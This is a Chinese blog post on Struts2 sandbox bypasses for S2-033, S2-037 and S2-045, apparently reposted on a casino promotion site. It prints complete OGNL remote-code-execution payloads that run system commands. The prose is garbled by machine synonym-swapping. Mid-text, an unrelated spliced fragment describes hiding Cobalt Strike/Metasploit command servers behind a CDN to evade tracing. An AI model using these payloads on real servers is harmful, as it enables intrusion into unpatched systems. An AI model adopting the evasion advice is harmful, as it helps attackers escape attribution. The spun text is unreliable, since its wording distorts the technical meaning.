浅谈struts2破绽防护与绕过-中 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

浅谈struts2破绽防护与绕过-中

申博_安全预警 申博 42次浏览 未收录 0个评论

S2-033 & S2-037

S2-033和s2-037的区别是,是不是须要开启动态要领挪用这两个破绽发生的点差不多,只不过s2-033的点须要allowDynamicMethodCalls为TRUE,s2-037不须要,详细看下面剖析

什么是REST呢

1. REST形貌的是在收集中client和server的一种交互情势;REST自身不有用,有用的是怎样设想 RESTful API(REST作风的收集接口);
 2. Server供应的RESTful API中,URL中只运用名词来指定资本,原则上不运用动词。“资本”是REST架构或者说全部收集处置惩罚的中心。

poc

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#xx=123,#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app

挪用客栈

浅谈struts2破绽防护与绕过-中

末了注入的点

浅谈struts2破绽防护与绕过-中

lib/struts2-rest-plugin-2.3.20.1.jar!/org/apache/struts2/rest/RestActionMapper.class找到处置惩罚url的点,

public ActionMapping getMapping(HttpServletRequest request, ConfigurationManager configManager) {
        ActionMapping mapping = new ActionMapping();
        String uri = RequestUtils.getUri(request);
        uri = this.dropExtension(uri, mapping);
        if (uri == null) {
            return null;
        } else {
            this.parseNameAndNamespace(uri, mapping, configManager);
            this.handleSpecialParameters(request, mapping);
            if (mapping.getName() == null) {
                return null;
            } else {
                this.handleDynamicMethodInvocation(mapping, mapping.getName());

浅谈struts2破绽防护与绕过-中

跟进handleDynamicMethodInvocation

浅谈struts2破绽防护与绕过-中

没有任何过滤,只需allowDynamicMethodCalls=True就会将我们的payload设置为method,然后经由一系列操纵会抵达

浅谈struts2破绽防护与绕过-中

handleDynamicMethodInvocation要领下面

浅谈struts2破绽防护与绕过-中

这里没有了allowDynamicMethodCalls的限定,直接设置了method,也就s2-037了。

struts2-2.3.20-struts2-2.3.29

Struts 2.3.20 配置文件新增加了参数为struts.excludedClasses,此参数为了严厉考证消除一些不平安的对象范例。

<constant name="struts.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                ognl.OgnlContext,
                ognl.MemberAccess,
                ognl.ClassResolver,
                ognl.TypeConverter,
                com.opensymphony.xwork2.ActionContext" />
   <constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" />

“java.lang.Classs”值过滤struts标签中静态要领挪用。

反溯源-cs和msf域名上线

前言 在拿下了目标机之后,目标机在内网里面,使用用msf或者CS时,用VPS做服务器的话,会导致自己的VPS的IP泄露,很容易被溯源。 最快最稳的方式当然还是找跳板,当然我这种严格遵守网络安全法的好孩子是不可能有肉鸡做跳板的。 思来想去,查阅了一些资料后发现,域名上线走CDN是个不错的选择。 于是在研究了一段时间之后,写下了这篇文章。 正文 域名和CDN配置 需要的东西:一台国外的VPS 这里我推荐vultr (腾讯云和阿里云等国内的VPS是不支持免备案的) 说到域名上线,自然就不能老老实实的去用自己备案了的域名,不然又是一个当场逮捕。 到这里https://freenom.com/ 注册一个免费且不

既然放在了s2-033下,固然拿它的payload来聊沙箱绕过咯

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#xx=123,#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app

这个poc是去掩盖掉了_memberAccess,在我们之前的poc中,是应用高低文中的某些变量往来来往打破静态要领的限定来执行命令,然则此次struts2的修复在高低文中去撤除了一些类,纵然打破了也没办法去挪用,这里的思绪呢是去掩盖掉SecurityMemeberAccess对象,为什么用DEFAULT_MEMBER_ACCESS去掩盖呢

浅谈struts2破绽防护与绕过-中

public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess(false);

它是SecurityMemberAccess的父类的实例,能够看到SecurityMemberAccess类中完成了许多平安操纵,看一下没有掩盖的时刻

浅谈struts2破绽防护与绕过-中

再来看一下掩盖以后的

浅谈struts2破绽防护与绕过-中

别的能够看到poc内里用#parameters来猎取的部份,缘由是因为引号在通报中被转义了,致使ognl语法毛病

浅谈struts2破绽防护与绕过-中

官方文档上有写

Application − Application scoped variables
Session − Session scoped variables
Root / value stack − All your action variables are stored here
Request − Request scoped variables
Parameters − Request parameters
Atributes − The attributes stored in page, request, session and application scope

s2-045

这个破绽在文章https://xz.aliyun.com/t/4662中写过,这里不再细写

这个破绽重要是因为在上传时运用Jakarta举行剖析时,然则假如content-type毛病的会进入非常,然后注入OGNL。

poc

Content-Type: %{(#nike='multipart/form-data').((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())};  boundary=---------------------------96954656263154098574003468

struts2-2.3.30+/2.5.2+

diff一下看一下沙盒是怎样做的防护

浅谈struts2破绽防护与绕过-中

能够看到上次的poc中的MemberAccessDefaultMemberAccess都已进入了黑名单

实在看此次的poc能够看出是应用container来猎取了ognlUtil实例,然后我们能够晓得黑名单是存储到set中的,利于clear直接清撤除,然后应用setMemberAccess掩盖归去,上面有一个症结的点就是运用getInstance()举行实例化,属于单例形式,平常用于比较大,庞杂的对象,只初始化一次,而getInstance保证了每次挪用都返回雷同的对象。

那末我们清除了黑名单就绕过了沙盒的防备,从而RCE。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明浅谈struts2破绽防护与绕过-中
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址